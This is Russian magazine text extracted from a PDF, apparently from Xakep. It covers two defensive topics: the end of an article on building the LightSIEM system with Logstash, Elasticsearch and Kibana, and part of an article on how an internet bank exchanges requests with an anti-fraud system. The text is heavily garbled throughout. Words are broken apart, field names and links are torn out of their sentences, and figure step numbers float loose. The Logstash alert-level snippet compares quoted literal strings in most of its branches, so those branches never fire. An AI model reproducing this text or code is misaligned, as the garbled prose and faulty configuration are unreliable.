beat. Отдель но сде лан кон фиг для каж дого источни ка логов,  которые может
обра баты вать  LightSIEM.  В  таких  фай лах  преж де  все го  опи сыва ется  input.
Это  тот  эле мент  кон фигура ции  Logstash,  который  отве чает  за  при ем  логов
по  одно му  из  про токо лов. Соот ветс твен но,  если  под разуме вает ся  дос тавка
логов  не  толь ко  прос тым  syslog’ом,  но  и  с  помощью  Beat,  в  фай ле  опи сан
отдель ный input для каж дого про токо ла. Далее в этом фай ле про исхо дит пар ‐
синг с помощью филь тра grok и спе цифи чес ких для дан ного типа логов пат ‐
тернов. Пос ле grok докумен ты про ходят обра бот ку, так же спе цифич ную толь ‐
ко для дан ного типа логов. Нап ример, извле кают ся мет ки вре мени, при водит ‐
ся к еди ному фор мату шка ла уров ня тре вог.

<server>

Пос ле это го в игру всту пает файл кон фигура ции, который называ ется 
. Как и сле дует из его наз вания, он учас тву ет в обра бот ке абсо лют но всех

логов.  Его основная  задача — обо гаще ние  наших  событий допол нитель ной
информа цией.

com‐
mon

По луча ем из логов события
Все вхо дящие сооб щения, незави симо от источни ка и про токо ла, обра баты ‐
вают ся  в  Logstash.  Нас трой ка  Logstash  ока залась  самой  тру доем кой
и  тяжелой,  но  при  этом  самой  полез ной  для  ана лиза  событий.  Пер вое,  что
про исхо дит с каж дым вхо дящим событи ем, — это пар синг с помощью филь ‐
тра  grok.  На  этом  эта пе  длин ная  строч ка  события  прев раща ется  в  набор
более корот ких полей. Все поля име нуют ся в соот ветс твии с общей схе мой.
Таким обра зом, семан тичес ки сход ные дан ные попада ют в одно и то же поле,
даже  если  они  приш ли  из  раз ных  источни ков.  Нап ример,  Snort  может
зарегис три ровать попыт ку ска ниро вания пор тов с опре делен ного IP‐адре са.
OSSEC  может  подать  сиг нал  тре воги  о  том,  что  с  кон крет ного  адре са  был
осу щест влен  вход  на  сер вер.  А  меж сетевой  экран  вооб ще  запишет  все
соеди нения,  которые  уста нав ливались  через  него,  в  том  чис ле  и  их  исхо ‐
дящие  адре са.  Во  всех  этих  трех  слу чаях  исхо дящий  адрес  будет  записан
в  поле  .  Соот ветс твен но,  при  обна руже нии
событий  с  высоким  уров нем  при ори тета  есть  воз можность  парой  кли ков
мыши поис кать все события с это го IP‐адре са. Уже пос ле того, как вхо дящие
сооб щения  раз бива ются  на  мно жес тво  мел ких,  про исхо дит  еще  нес коль ко
пре обра зова ний.  Пер вое,  что  нуж но  сде лать, —  при вес ти  уро вень  сиг нала
тре воги к еди ной шка ле. Я взял за осно ву шка лу, которая исполь зует ся в OS‐
SEC, так как она уже неп лохо опи сана и у нее есть целых 16 уров ней, в отли ‐
чие от того же Snort, где все го четыре уров ня.

Alert.Source.Node.Address

if [type] in ["snort", "snort_full", "snort_barnyard"] {
        if [Alert][Analyzer][Level][Origin] == "1" {
              mutate { add_field => [ "[Alert][Analyzer][Level][
Normalized]", "15" ] }
        } else if "[Alert][Analyzer][Level][Origin]" == "2" {
              mutate { add_field => [ "[Alert][Analyzer][Level][
Normalized]", "11" ] }
        } else if "[Alert][Analyzer][Level][Origin]" == "3" {
              mutate { add_field => [ "[Alert][Analyzer][Level][
Normalized]", "6" ] }
        } else if "[Alert][Analyzer][Level][Origin]" == "4" {
              mutate { add_field => [ "[Alert][Analyzer][Level][
Normalized]", "4" ] }
        }
}

Пос ле это го необ ходимо из полей, куда попали вре мен ные отметки, извлечь
и пре обра зовать вре мя. Тут раз нооб разие вари антов того, как записы вают ся
вре мен ные отметки, тоже иног да удив ляло.

Да лее нас тупа ет черед обо гаще ния события дан ными. Пер вое, что очень
облегча ет  ана лиз  событий,  —  обратные  DNS‐зап росы.  Ведь  опе риро вать
DNS‐име нами  сер веров  удоб нее,  чем  ску пыми  окте тами  IP‐адре сов.  Так
мож но  с  пер вого  взгля да  понять,  при над лежит  ли  тот  или  иной  компь ютер
к dial‐up‐пулу про вай дера из Тве ри или явля ется сер вером из фер мы vk.com.
Каж дый  IP‐адрес  источни ка  и  наз начения,  если  он  в  событии  при сутс тву ет,
Logstash  пыта ется  раз решить  в  DNS‐имя.  Если  это  получа ется,  то  наряду
с  полями    и 
в  событии  появ ляют ся  поля    и 

.

Alert.Source.Node.Address Alert.Target.Node.Address
Alert.Source.Node.Name Alert.Target.

Node.Name
Ра зуме ется,  далеко  не  все  адре са  успешно  раз реша ются  в  име на,

а  искать  хочет ся  преж де  все го  по  полю  с  име нем.  Что бы  не  скла дыва лась
ситу ация, в которой часть событий име ет поле с DNS‐име нем, а дру гая часть
не име ет, Logstash в слу чае, если раз решить IP‐адрес не уда лось, записы вает
в поле c DNS‐име нем  IP‐адрес. Это поз воля ет работать с полями 

 как c уни вер саль ными — в которых в любом слу чае есть какой‐то
IP‐адрес или DNS‐имя.

Alert.*.
Node.Name

Пос коль ку даже при боль шом объ еме событий необ ходимо их быс тро раз ‐
решать,  в  сос тав LightSIEM вошел DNS‐сер вер dnsmasq. Что бы не  уве личи ‐
вать пло щадь повер хнос ти ата ки на сер вер и не откры вать  вов не еще один
порт,  Ansible  уста нав лива ет  и  нас тра ивает  dnsmasq  слу шать  толь ко  адрес
loopback‐интерфей са. Так как на каж дом сер вере свои собс твен ные нас трой ‐
ки DNS‐сер веров для пересыл ки зап росов, в dnsmasq было решено исполь ‐
зовать  сер веры  из  ,  как  наибо лее  уни вер саль ный  метод
по  умол чанию.  Для  умень шения  наг рузки  на  сер веры  пересыл ки  зап росов
и  уско рения  отве тов  dnsmasq  нас тро ен  кеширо вать  отве ты  от  сер веров.
Таким  обра зом,  если  из  Logstash  при дет  нес коль ко  зап росов  для  одно го
и  того  же  адре са,  он  будет  раз решен  толь ко  в  пер вый  раз,  а  все  пос леду ‐
ющие отве ты уже будут даны из кеша.

/etc/resolv.conf

if ![Alert][Source][Node][Name] and [Alert][Source][Node][Address]
{
    mutate { add_field => [ "[Alert][Source][Node][Name]", "%{[
Alert][Source][Node][Address]}" ] }
    dns {
        reverse => [ "[Alert][Source][Node][Name]"]
        action => "replace"
        nameserver => "127.0.0.1"
    }
}

В  допол нение  к  обратным  DNS‐зап росам  осу щест вля ются  зап росы  в  базу
дан ных GeoIP. Это поз воля ет добавить в событие при мер ные коор динаты IP‐
адре сов и впос ледс твии вывес ти их на кар ту в Kibana. Необ ходимо учи тывать,
что  дан ные  коор динаты  при мер ные  и  чаще  все го  берут ся  по  адре су  ком ‐
пании,  на  которую  зарегис три рован  IP‐адрес.  Тем  не  менее  это  одна
из самых эффек тных визу али заций дан ных о втор жени ях. Ни один гол ливуд ‐
ский боевик без такой кар ты не обхо дит ся.

geoip {
source => "[Alert][Source][Node][Address]"
     target => "[Alert][Source][Node][Geoip]"
}
"Geoip" => 
        {
            "ip" => "188.123.231.104",
            "city_name" => "Moscow",
            "country_code2" => "RU",
            "location" => [
                [0] 37.615,
                [1] 55.752
            ],
        }

Еще одна важ ная фун кция,  которая лежит на Logstash, — интегра ция с дру ‐
гими  сис темами.  Самый  прос той  спо соб  —  отправ ка  email.  Нап ример,
по пись му мож но заводить инци дент в боль шинс тве сис тем управле ния инци ‐
ден тами. Уве дом ления по email еще и самый прос той спо соб опе ратив ного
опо веще ния  всех  заин тересо ван ных  лиц  об  инци ден те.  Вооб ще,  у  Logstash
тут доволь но боль шая гиб кость. Нап ример, мож но выпол нять зап росы к Elast‐
icsearch и обра баты вать их резуль таты, что бы решить, что делать с при шед ‐
шим  событи ем.  Это  мож но  исполь зовать  в  будущем  для  соз дания  пра вил
кор реляции. Так же есть воз можность выпол нить любую коман ду или скрипт.
По  сути,  это  уни вер саль ный  спо соб,  который  поз воля ет  интегри ровать ся
с любыми сис темами. Необ ходимо отпра вить СМС — запуск скрип та. Нуж но
добавить запись в  какую‐то внеш нюю базу дан ных — тоже запуск внеш него
скрип та.  Тут  мож но  даже  добавить  неболь шую фун кци ональ ность  IPS.  Если
Snort  регис три рует  попыт ки  ата ки  с  опре делен ного  адре са,  то  с  помощью
выпол нения скрип та мож но заб локиро вать этот адрес на меж сетевом экра не.
При этом есть воз можность задать очень слож ные филь тры. Задавать мож но
любые усло вия отно ситель но полей события. Нап ример, мож но  ука зать,  что
у события дол жен быть опре делен ный IP‐адрес источни ка, опре делен ный код
и уро вень важ ности не менее 15.

Из Logstash все события переда ются для хра нения и индекса ции в Elastic‐
search. Основная фун кция Elasticsearch — хра нение пос тупа ющих дан ных и их
обра бот ка для быс тро го поис ка. Все дан ные хра нят ся в струк турах под наз ‐
вани ем  индексы.  Каж дый  индекс  дол жен  сос тоять  как  минимум  из  одно го
шар да. Шард — это сущ ность, которая содер жит часть индекса. Так же в сос ‐
тав индекса могут вхо дить реп лики. Реп лика — это копия шар да, которая рас ‐
полага ется на дру гом сер вере и слу жит для повыше ния отка зоус той чивос ти
и обра бот ки поис ковых зап росов. Если одно го сер вера с Elasticsearch не хва ‐
тает  для  обра бот ки  всей  пос тупа ющей  информа ции  или  для  пос леду юще го
поис ка по ней, мож но очень лег ко уста новить допол нитель ные сер веры. Одна
из осо бен ностей Elasticsearch зак люча ется в том, что для нас трой ки клас тера
из нес коль ких сер веров и рас пре деле ния меж ду ними наг рузки не нуж но тра ‐
тить мно го вре мени. Ког да сер веры ока зыва ются в одной под сети, они авто ‐
мати чес ки друг дру га находят. Пос ле это го они авто мати чес ки рас пре деля ют
меж ду  собой  шар ды  и  реп лики.  Такая  осо бен ность  поз воля ет  лег ко  соз ‐
давать  боль шие  клас теры,  которые  обес печива ют  надеж ность  бла года ря
тому, что реп лики каж дого шар да рас пре деле ны меж ду раз ными сер верами,
и мас шта биру емость про изво дитель нос ти.

Ти пы полей в Elasticsearch могут опре делять ся авто мати чес ки. Кро ме того,
сама схе ма полей может динами чес ки рас ширять ся по мере появ ления новых
записей. Это озна чает, что если добавить новое поле на уров не Logstash, то
изме нять на сто роне Elasticsearch ничего не при дет ся. Все докумен ты будут
сох ранены  со  все ми  полями,  которые  в  них  есть,  а  если  такие  поля  ранее
никог да  не  встре чались,  то  они  будут  соз даны  авто мати чес ки.  Еще  одна
полез ная  в  некото рых  слу чаях  фун кция  Elasticsearch —  ана лиза торы  полей.
По  умол чанию  все  поля  докумен тов  ана лизи руют ся  —  при мер но  так  же,
как  это  дела ют  поис ковые  сис темы.  То  есть  пред ложения  раз бива ются
на отдель ные сло ва, сло ва при водят ся к одно му регис тру и так далее. В слу ‐
чае SIEM‐сис темы, где боль шинс тво полей пред став ляет собой фик сирован ‐
ное опи сание событий, их циф ровые коды и IP‐адре са, это будет избы точ ным
и толь ко замед лит работу всей сис темы.

Нес мотря  на  то  что  динами чес ки  соз дава емые  поля  и  авто мати чес ки
опре деля емые  типы  дан ных —  очень  удоб ные  фун кции,  осо бен но  на  эта пе
раз работ ки, они иног да соз дают проб лемы. Нап ример, если поле с уров нем
сиг нала тре воги, записан ным в виде чис ла, слу чай но опре делит ся как тек сто ‐
вое, то мно гие фун кции, которые исполь зуют ся в Kibana для пос тро ения гра ‐
фиков, ста нут недос тупны. Для нас трой ки типа полей, их наз вания и еще мно ‐
гих парамет ров исполь зуют ся спе циаль ные шаб лоны. В общем слу чае шаб ‐
лон соз дает ся как документ в Elasticsearch и хра нит ся в нем. При этом в свой ‐
ствах шаб лона ука зыва ется то, для каких индексов он при меня ется.

В  LightSIEM  Logstash  соз дает  новый  индекс  для  дан ных  каж дый  день.
Это необ ходимо для того, что бы индексы не раз раста лись и мож но было лег ‐
ко  уда лить  дан ные  за  опре делен ный  день.  Упо мяну тый  шаб лон  зада ется
как опция для отправ ки дан ных в Elasticsearch. Таким обра зом Logstash про ‐
веря ет,  есть  ли  уже  шаб лон  в  Elasticsearch,  и,  если  его  еще  нет,  соз дает.
В  шаб лоне,  в  свою  оче редь,  зада ются  свой ства  каж дого  поля  —  его  тип
и необ ходимость в ана лизе.

Вза имо дей ствие  поль зовате ля  с  SIEM  про исхо дит  с  помощью
веб‐интерфей са Kibana. Он был раз работан спе циаль но для работы с Elastic‐
search. Поз воля ет соз давать инте рак тивные панели с гра фика ми (dashboard).
Каж дый эле мент такого гра фика кли кабель ный. При кли ке на него соот ветс ‐
тву ющее  зна чение  добав ляет ся  в  филь тр  поис кового  зап роса  всей  дос ки,
и  все  гра фики  на  ней  перес тра ивают ся  с  уче том  это го филь тра. Нап ример,
мож но вывес ти на такую дос ку спи сок из узлов, от которых зарегис три рова ны
события,  спи сок  узлов,  на  которые  при ходи ли  события,  и  уров ней  сиг налов
тре воги. При кли ке на кон крет ный сер вер в спис ке источни ков атак осталь ные
гра фики  перес тро ятся,  и  уже  мож но  будет  судить  о  том,  с  каких  сер веров
на  этот  сер вер  при ходи ли  ата ки  и  какой  у  них  уро вень  сиг нала.  Если  пос ле
это го  клик нуть  на  какой‐то  кон крет ный  уро вень  сиг нала  тре воги,  он  так же
добавит ся в филь тр, и мы уже смо жем уви деть, с  каких сер веров шли ата ки
дан ного уров ня опас ности на наш сер вер.

Kibana  может  исполь зовать  дан ные  GeoIP,  которые  добав ляет  Logstash
для  отоб ражения  на  кар те  источни ков  или  жертв  атак.  Очень  полез ны  гис ‐
тограм мы  рас пре деле ния  событий  во  вре мени.  Они  поз воля ют  выделить
мыш кой  нуж ный  про межу ток  вре мени  и  так же  добав ляют  его  в  филь тр
для всей панели. Таким обра зом мож но быс тро выбирать, события из какого
вре мен ного  про межут ка  необ ходимо  показы вать.  Естес твен но,  каж дое
событие мож но смот реть и в крат кой фор ме, и в под робной.

ВМЕСТО ЗАКЛЮЧЕНИЯ
Итак.  Ты  сей час  уста новил  себе  LightSIEM  (уста новил  ведь?),  а  я,  наде юсь,
дос таточ но  под робно  рас ска зал,  как  он фун кци они рует.  Ты  впол не  можешь
взять  его  за  осно ву  и  допилить  под  себя.  Можешь  исполь зовать  как  есть
и толь ко добав лять пра вила. Если же ты решишь заком митить какие‐то изме ‐
нения  в  репози торий,  то  пом ни,  что  ты  этим  сде лал  мир  чуть  безопас нее.
Если у тебя нет понима ния, как реали зовать твои идеи,   —
будем вмес те думать и реали зовы вать по мере воз можнос тей.

то же сме ло пиши

http://bit.ly/2nIOCct
https://t.me/lightsiem
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ВЗЛОМ

В   мы рас смот рели архи тек туру сис темы
антифро да и ее связ ку с интернет‐бан ком, а так же про бежа ‐
лись по про цес су ана лиза события антифро дом. В рас смат ‐
рива емой  нами  сис теме  сущес тву ет  все го  четыре  отве та
антифро да  для  обра баты ваемых  событий:  раз решить
или  зап ретить  событие,  про извести  допол нитель ную  аутен ‐
тифика цию и соз дать  кейс для пос леду юще го ана лиза ана ‐
лити ком.  Эти  отве ты  фор миру ются  сис темой  антифро да
на осно вании оцен ки рис ка и пра вил полити ки, задава емых
фрод‐ана лити ком.  В  этом  выпус ке  мы  более  под робно
погово рим о тех нологи чес ких про цес сах, завися щих от того,
какое решение при нима ет антифрод. Итак…

пер вой статье цик ла

ПРОТОКОЛ ВЗАИМОДЕЙСТВИЯ
Об мен  необ ходимы ми  дан ными  меж ду  интернет‐бан ком  и  сис темой
антифро да  опре деля ется  некото рым  про токо лом.  Для  того  что бы  получить
ответ от сис темы антифро да, интернет‐банк дол жен исполь зовать соот ветс ‐
тву ющие  методы  это го  про токо ла,  которые  ука зыва ют,  что  же  он  хочет
от  антифро да.  В  нашей  сис теме  их  дос таточ но  мно го,  и  ниже  при веде ны
толь ко наибо лее рас простра нен ные из них.

  Этот  метод  при меня ется  для  соз дания  нового  поль ‐
зовате ля  в  сис теме  антифро да.  Заводить  поль зовате ля  в  сис теме
антифро да  необя затель но,  но  обыч но  это  дела ют,  если  антифрод  так же
будет аутен тифици ровать поль зовате ля вмес то интернет‐бан ка или вмес ‐
те с ним.

• CREATEUSER.

  Метод  обновля ет  про филь  поль зовате ля,  который  был
соз дан CREATEUSER, вклю чая все све дения об учет ных дан ных.

• UPDATEUSER.

  Метод  выпол няет  ана лиз  рис ков  для  одно го  или  нес коль ких
событий, при этом про водя аутен тифика цию поль зовате ля. Это основной
метод,  с  которо го  обыч но  начина ется  вза имо дей ствие  интернет‐бан ка
и антифро да в про цес се ана лиза события.

• ANALYZE.

 Метод про веря ет поль зовате ля с помощью учет ных дан ‐
ных.

• AUTHENTICATE.

 Ини циация допол нитель ной аутен тифика ции поль зовате ля.• CHALLENGE.

  Метод  воз вра щает  сос тояние  аутен тифика ции
при асин хрон ном про цес се допол нитель ной аутен тифика ции поль зовате ‐
ля.

• QUERYAUTHSTATUS.

  Этот  метод  поз воля ет  интернет‐бан ку  опо вес тить  антифрод
об инте ресу ющих событи ях,  которые он может добавить в свои про фили
для исполь зования в модели фро да.

• NOTIFY.

Как  видишь,  все  обще ние  меж ду  интернет‐бан ком  и  сис темой  антифро да
сво дит ся к нес коль ким коман дам:

за веди или изме ни информа цию о поль зовате лях, нап ример кодовое сло ‐
во или телефон;

•

про ана лизи руй событие и ска жи вер дикт;•
аутен тифици руй  поль зовате ля  или  про изве ди  допол нитель ную  аутен ‐
тифика цию;

•

со общи,  каков  ста тус  аутен тифика ции,  если  она  про водит ся  в  асин хрон ‐
ном режиме;

•

вот  информа ция,  которая,  воз можно,  будет  инте рес на,  но  ответ  мне
не нужен.

•

Те перь  пос мотрим,  как  этот  про токол  обще ния  про еци рует ся  на  основные
про цес сы работы интернет‐бан ка и сис темы антифро да в слу чае раз личных
рекомен дован ных дей ствий, а так же про цесс заведе ния поль зовате ля.

РАЗРЕШЕНИЕ ОПЕРАЦИИ (ALLOW)
Обыч но  боль шинс тво  опе раций  в  интернет‐бан ке  про ходят  без  каких‐либо
допол нитель ных  дей ствий  с  тво ей  сто роны.  Нап ример,  опла чивая  услу ги
интернет‐про вай дера за текущий месяц, ты перево дишь 500 руб лей на счет
про вай дера.  Этот  пла теж  и  есть  для  сис темы  антифро да  событие,  вер дикт
по которо му обыч но положи тель ный (ALLOW). Про цесс обра бот ки такой тран ‐
закции показан на рис. 1.

Рис. 1. Про цесс обра бот ки события в слу чае раз решения опе рации

Прой дем ся по этой схе ме. Ты нажима ешь на кноп ку денеж ного перево да  ,
интернет‐банк  отоб ража ет  тебе  фор му,  в  которой  про сит  запол нить  рек ‐
визиты  опе рации,  нап ример  наз вание  про вай дера,  номер  лицево го  сче та
и сум му  . Ты их запол няешь и под твержда ешь отправ ку. При этом сис тема
антифро да  при  помощи  JavaScript‐скрип тов  собира ет  дан ные  о  тво ем
устрой стве (об этом мы погово рим в сле дующих выпус ках)  , которые вмес ‐
те с пла теж ными дан ными отправ ляют ся в интернет‐банк для собс твен но осу ‐
щест вле ния опе рации  . Пос ле получе ния дан ных по опе рации поль зовате ‐
ля  интернет‐банк  про сит  антифрод  их  про ана лизи ровать  и  дать  свое  зак ‐
лючение.  Для  это го  интернет‐банк  фор миру ет  зап рос  с  методом  ANALYZE
к Adaptive Authentication. В этом зап росе переда ются дан ные о поль зовате ле,
об  устрой стве  поль зовате ля,  иден тифика тор  канала  и  собс твен но  дан ные
пла тежа — кому и сколь ко  . Adaptive Authentication ищет устрой ство поль ‐
зовате ля, рас счи тыва ет уро вень рис ка тран закции и при меня ет полити ки  .
В резуль тате он выраба тыва ет рекомен дован ное дей ствие, которое переда ‐
ется в отве те син хрон ного метода ANALYZE. В дан ном слу чае это раз решение
(ALLOW).  При  этом  ответ  содер жит  иден тифика торы  сес сии,  поль зовате ля,
устрой ства, а так же дан ные ана лиза — уро вень рис ка, рекомен дован ное дей ‐
ствие  (ALLOW)  и  наз вание  сра ботав шего  пра вила  полити ки  .
Интернет‐банк может уста новить иден тифика тор сес сии в куку и передать его
в кли ент ский бра узер для иден тифика ции бра узе ра при сле дующем зап росе
(про цесс не обя зате лен)  . Пос ле это го интернет‐банк про водит опе рацию,
давая коман ду рас четной сис теме зачис лить день ги на счет про вай дера  .
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РАССМОТРЕНИЕ ОПЕРАЦИИ (REVIEW)
Од нако  не  всег да  тран закции  от  тво его  име ни  так  лег ко могут  быть  выпол ‐
нены бан ком. Некото рые из них могут ока зать ся подоз ритель ны. Нап ример,
если  ты  пыта ешь ся  перевес ти  круп ную  сум му  себе  на  QIWI‐кошелек,
это  похоже  на  вывод  денег  с  тво его  сче та.  В  резуль тате  ана лиза  антифрод
может дать зак лючение, что про вес ти такую опе рацию воз можно, но при этом
соз даст  кейс  для  даль нейше го  ана лиза  этой  опе рации  фрод‐ана лити ком.
С точ ки зре ния про токо ла рас смат рива емой сис темы антифро да такой про ‐
цесс выг лядит так, как показа но на рис. 2.

Рис. 2. Про цесс обра бот ки события при переда че его на рас смот рение

Как  и  в  пре дыду щем  слу чае,  вна чале  про ходят  типовые  шаги  (1–4).  Далее
интернет‐банк отсы лает зап рос с методом ANALYZE на Adaptive Authentication

, который обра баты вает тран закцию  . В резуль тате обра бот ки Adaptive
Authentication выраба тыва ет рекомен дован ное дей ствие, которое переда ется
в отве те метода ANALYZE  . В дан ном слу чае — отпра вить на рас смот рение
(REVIEW).  При  этом  ответ  содер жит  иден тифика торы  сес сии,  поль зовате ля,
устрой ства, а  так же информа цию ана лиза — уро вень рис ка, рекомен дован ‐
ное  дей ствие  (в  нашем  слу чае  REVIEW)  и  наз вание  сра ботав шего  пра вила
полити ки. Интернет‐банк, так же как в пре дыду щем слу чае, может уста новить
иден тифика тор устрой ства в куку и передать его в бра узер кли ента для иден ‐
тифика ции  экзем пля ра  при  сле дующем  зап росе  .  Основное  отли чие
от про цес са ALLOW сос тоит в  том, что интернет‐банк хоть и про водит тран ‐
закцию  , но при этом в сис теме антифро да соз дает ся кейс в ком понен те
Case Management  . В даль нейшем фрод‐ана литик обра баты вает дан ный
кейс,  это  ведет,  нап ример,  к  тому,  что банк  тебе перез вонит и  задаст  уточ ‐
няющие  воп росы  об  этой  тран закции  .  При  этом  нуж но  понимать,  что
в  дан ном  про цес се  день ги  на  QIWI‐кошелек  уже  будут  переве дены,
а фрод‐ана литик толь ко лишь зак роет кейс в Case Management  , который
передаст в Adaptive Authentication резолю цию по событию для кор ректи ров ки
модели фро да.  А  если  на  тво ем  компь юте ре  или  телефо не  был  вирус  и  он
перевел день ги, нуж но будет бежать в сто рону QIWI и бло киро вать кошелек,
пока день ги с него не обна личи ли…

(5) (6)

(7)

(8)

(9)

(10)

(11)

(12)

Не кото рые  бан ки,  исполь зующие  дан ную  сис тему  антифро да,  модифи ‐
циру ют про цесс и не отправ ляют пла теж, пока фрод‐ана литик не раз берет ся
с кей сом. Если он пос ле звон ка тебе отме тит тран закцию как легитим ную, то
день ги переве дут ся, а если ты ему ска жешь, что день ги не перево дил, то пла ‐
теж  заб локиру ется.  Пока  фрод‐ана литик  не  свя жет ся  с  тобой,  перевод  так
и  не  будет  осу щест влен…  А  еще  банк  может  поп росить  тебя  перез вонить.
Если ты находишь ся в роумин ге, это не очень обра дует. А веро ятность того,
что  твоя  пер вая  тран закция  из  новой  стра ны  попадет  в  рас смат рива емые
фрод‐ана лити ком,  весь ма  высока,  и  об  этом  мы  погово рим  в  сле дующих
выпус ках. В общем слу чае такая модифи кация про цес са рас смот рения опе ‐
рации  (REVIEW)  невер на,  так  как  для  подоб ной  логики  сущес тву ет  про цесс
допол нитель ной аутен тифика ции без исполь зования челове чес кого фак тора.

ДОПОЛНИТЕЛЬНАЯ АУТЕНТИФИКАЦИЯ (CHALLENGE)
Для  того  что бы  под твер дить  подоз ритель ный  пла теж,  при оста новив  его
выпол нение,  в  нашей  сис теме  антифро да  исполь зует ся  про цесс  допол ‐
нитель ной  аутен тифика ции  тран закции  (CHALLENGE).  Сис тема  пред лага ет
«из  короб ки»  интегра цию  с  раз личны ми  спо соба ми  допол нитель ной  аутен ‐
тифика ции поль зовате ля и тран закции, нап ример одно разо вые пароли, кон ‐
троль ные  воп росы,  биомет рию  на  мобиль ных  устрой ствах.  Они  могут  быть
реали зова ны как син хрон ными, так и асин хрон ными метода ми. Раз ница меж ‐
ду  ними  незамет на  тебе  как  поль зовате лю  интернет‐бан ка,  одна ко  сущес ‐
твен на при архи тек турном пос тро ении сис темы. При исполь зовании син хрон ‐
ных  методов  интернет‐банк  ожи дает  немед ленно го  откли ка  от  сис темы
антифро да, а в слу чае асин хрон ных методов ответ может пос тупить не сра зу,
при  этом  интернет‐банк  через  опре делен ный  про межу ток  вре мени  обра ‐
щает ся к антифро ду за отве том, пока не получит зак лючения о легитим ности
поль зователь ско го дей ствия.

Про цесс исполь зования син хрон ных методов с  точ ки зре ния вза имо дей ‐
ствия сис тем показан на рис. 3.

Рис. 3. Про цесс обра бот ки события в слу чае допол нитель ной аутен ‐
тифика ции син хрон ными метода ми

По луче ние  дан ных  сер вером  сис темы  интернет‐бан ка  от  прог рам мно го
обес печения поль зовате ля, переда ча дан ных в Adaptive Authentication и обра ‐
бот ка им информа ции — стан дар тно для всех про цес сов  . Но теперь Ad‐
aptive  Authentication  при нима ет  решение  о  необ ходимос ти  допол нитель ной
аутен тифика ции  CHALLENGE  .  На  рисун ке  так же  ука заны  груп пы  дан ных,
которые переда ются в методах вза имо дей ствия. Ты можешь сам изу чить их,
здесь  мы  оста новим ся  толь ко  на  спе цифич ных  дан ных.  В  этом  слу чае
антифрод  говорит,  какими  допол нитель ными  метода ми  может  быть  аутен ‐
тифици рован поль зователь или тран закция.

(1–6)

(7)

Пос ле того как интернет‐банк получил от антифро да информа цию о необ ‐
ходимос ти допол нитель ной аутен тифика ции, он отправ ляет в Adaptive Authen‐
tication  зап рос  с  методом CHALLENGE  и  выб ранным методом  аутен тифика ‐
ции  . В ответ Adaptive Authentication  переда ет  допол нитель ную информа ‐
цию по дан ному методу (нап ример, номер телефо на или набор кон троль ных
воп росов)  . Интернет‐банк пред лага ет поль зовате лю прой ти допол нитель ‐
ную аутен тифика цию  , при этом отсы лая поль зовате ля на стра ницу сис ‐
темы антифро да в слу чае, нап ример, кон троль ных воп росов   или самос ‐
тоятель но показы вая их поль зовате лю на собс твен ной стра нице  . Поль ‐
зователь  вво дит  аутен тифици рующую  его  информа цию    и  переда ет  ее
в интернет‐банк  . Интернет‐банк вызыва ет метод AUTHENTICATE, содер ‐
жащий  информа цию,  передан ную  поль зовате лем  во  вре мя  аутен тифика ции

.  Adaptive  Authentication  аутен тифици рует  поль зовате ля    и  отве чает
интернет‐бан ку,  успешно  или  нет  аутен тифици рован  поль зователь  .
Интернет‐банк выпол няет или зап реща ет тран закцию поль зовате ля в зависи ‐
мос ти от резуль тата аутен тифика ции  .
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Не  нуж но  забывать,  что  твой  Bitcoin‐кошелек
не  защищен  подоб ной  сис темой  антифро да.
Таким  обра зом,  если  вирус  на  компь юте ре
от  тво его  име ни  под пишет  пла теж,  то  день ги
уйдут.  Одним  из  вари антов  защиты  может  быть

.  При  этом  вто ‐
рая  под пись  дол жна  уста нав ливать ся  на  дру гом
компь юте ре,  и  она  будет  выс тупать  в  качес тве
допол нитель ной аутен тифика ции пла тежа.

мно гополь зователь ская  под пись

В  слу чае  же  исполь зования  асин хрон ных  методов  допол нитель ной  аутен ‐
тифика ции про цесс выг лядит так, как показа но на рис. 4.

Рис. 4. Про цесс обра бот ки события в слу чае допол нитель ной аутен ‐
тифика ции асин хрон ными метода ми

В этом слу чае до    про цесс  выг лядит  так же,  как  при обра бот ке  син хрон ‐
ными метода ми. Но для аутен тифика ции обыч но исполь зуют ся внеш ние сер ‐
висы или Adaptive Authentication,  с  которы ми поль зователь  вза имо дей ству ет
нап рямую. Интернет‐банк перево дит поль зовате ля на про цесс аутен тифика ‐
ции  , и внеш ний сер вис аутен тифика ции (который в общем слу чае может
быть и самим Adaptive Authentication) зап рашива ет у поль зовате ля, нап ример,
отпе чаток  паль ца  (если  выб рана  биомет ричес кая  аутен тифика ция)  .
Пос ле  это го  ответс твен ность  за  аутен тифика цию  поль зовате ля  пол ностью
несет внеш ний сер вис, а интернет‐банк дол жен пос тоян но зап рашивать Ad‐
aptive Authentication о резуль тате аутен тифика ции поль зовате ля при помощи
метода QUERYAUTHSTATUS  .  Резуль тат  может  быть  как  положи тель ‐
ный или отри цатель ный,  так и  говоря щий о том, что аутен тифика ция еще не
прой дена.  Далее  в  зависи мос ти  от  резуль тата  тран закция  выпол няет ся
или нет  .
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

МЕТОДЫ ДОПОЛНИТЕЛЬНОЙ АУТЕНТИФИКАЦИИ
Мы  разоб рали  основные  про цес сы  допол нитель ной  аутен тифика ции,
а теперь пос мотрим, какие же методы аутен тифика ции пред лага ет рас смат ‐
рива емая нами сис тема антифро да. На некото рых из них оста новим ся более
под робно.

Ис поль зование зна ний поль зовате ля
Пер вый  метод  —  это  аутен тифика ция,  осно ван ная  на  зна нии  (Knowledge‐
Based Authentication). Одним из вари антов такой аутен тифика ции могут быть
кон троль ные  воп росы.  Такой  метод  доволь но  час то  реали зует ся
на интернет‐ресур сах, но не в интернет‐бан ках. Обыч но про цесс про исхо дит
в  син хрон ном  режиме.  Сис тема  антифро да  иден тифици рует  поль зовате ля,
отсы лает  его  кон троль ные  воп росы  в  интернет‐банк  для  того,  что бы  поль ‐
зователь на них отве тил. Затем интернет‐банк переда ет отве ты поль зовате ‐
ля, и антифрод при нима ет решение о воз можнос ти аутен тифика ции. В нашей
сис теме ответ на каж дый воп рос может отдель но в реаль ном вре мени обра ‐
баты вать ся антифро дом с исполь зовани ем ско рин га.

Ис поль зование в качес тве фак тора аутен тифика ции мобиль ного
устрой ства
Сле дующий метод — это переда ча на телефон (Out‐of‐Band Phone Authentic‐
ation).  Такая  аутен тифика ция  обыч но  исполь зует  внеш ний  сер вис  и  выпол ‐
няет ся в асин хрон ном режиме. Сис тема антифро да отправ ляет одно разо вый
пароль  про вай деру  телефон ного  сер виса,  а  тот  переда ет  его  на  телефон
поль зовате ля любым спо собом. Пос ле это го поль зователь дол жен ввес ти его
в интернет‐бан ке, который отправ ляет его в сис тему антифро да для про вер ‐
